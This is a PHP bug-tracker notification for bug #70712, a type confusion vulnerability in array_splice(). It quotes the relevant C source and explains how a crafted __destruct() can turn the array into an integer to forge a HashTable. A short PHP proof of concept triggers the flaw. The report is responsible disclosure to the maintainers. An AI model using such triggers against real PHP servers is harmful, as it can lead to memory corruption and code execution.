Sec Bug->Bug #70712 [Opn]: Type Confusion Vulnerability in array_splice()

From: Date: Wed, 14 Oct 2015 16:38:58 +0000
Subject: Sec Bug->Bug #70712 [Opn]: Type Confusion Vulnerability in array_splice()
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-196606@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=70712&edit=1

 ID:                 70712
 Updated by:         stas@php.net
 Reported by:        taoguangchen at icloud dot com
 Summary:            Type Confusion Vulnerability in array_splice()
 Status:             Open
-Type:               Security
+Type:               Bug
 Package:            *General Issues
 Operating System:   *
 PHP Version:        Irrelevant
 Block user comment: N
 Private report:     Y



Previous Comments:
------------------------------------------------------------------------
[2015-10-14 14:11:31] taoguangchen at icloud dot com

Description:
------------
Type Confusion Vulnerability in array_splice()

array.c
```
PHPAPI void php_splice(HashTable *ht, zend_uint offset, zend_uint length, zval ***list, zend_uint
list_count, HashTable *removed TSRMLS_DC) /* {{{ */
{
	zend_hash_splice(ht, sizeof(zval *), (copy_ctor_func_t) zval_add_ref, offset, length, (void **)
list, list_count, removed);
...

PHP_FUNCTION(array_splice)
{
	...

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "al|lZ", &array, &offset,
&length, &repl_array) == FAILURE) {
		return;
	}

	...
	
	if (repl_array) {
		/* Make sure the last argument, if passed, is an array */
		convert_to_array_ex(repl_array);

	...
	
	/* Perform splice */
	php_splice(Z_ARRVAL_P(array), offset, length, repl, repl_num, rem_hash TSRMLS_CC);
```

zend_hash.c
```
ZEND_API void _zend_hash_splice(HashTable *ht, uint nDataSize, copy_ctor_func_t pCopyConstructor,
uint offset, uint length, void **list, uint list_count, HashTable *removed ZEND_FILE_LINE_DC) /* {{{
*/
{
	...
	
	for (pos = 0, p = ht->pListHead; pos < offset && p; pos++, p = p->pListNext);
	
	while (pos < offset + length && p) {
	
	...
		/* Remove element */
		{
			Bucket *p_next = p->pListNext;	
			zend_hash_bucket_delete(ht, p);
			p = p_next;
		}
```

a object-type ZVAL can be destroyed via the convert_to_array_ex(), so an attacker can set a
object-type &repl_array, then call to the object's crafted __destruct() magic method is
able to change &array into other-type ZVAL. this means an attacker will be able to create fake
HashTable and fake Bucket via the Z_ARRVAL_P macro with a integer-type ZVAL. this should result in
arbitrary code execution.

PoC:
```
class obj
{
	function __destruct()
	{
		$GLOBALS['arr'] = 1;
	}
}

$arr = array(1);
array_splice($arr, 0, 1, new obj);
```



------------------------------------------------------------------------



--
Edit this bug report at https://bugs.php.net/bug.php?id=70712&edit=1


Thread (1 message)

  • stas@php.net
  • Unknown Message
    • stas@php.net
« previous php.bugs (#196606) next »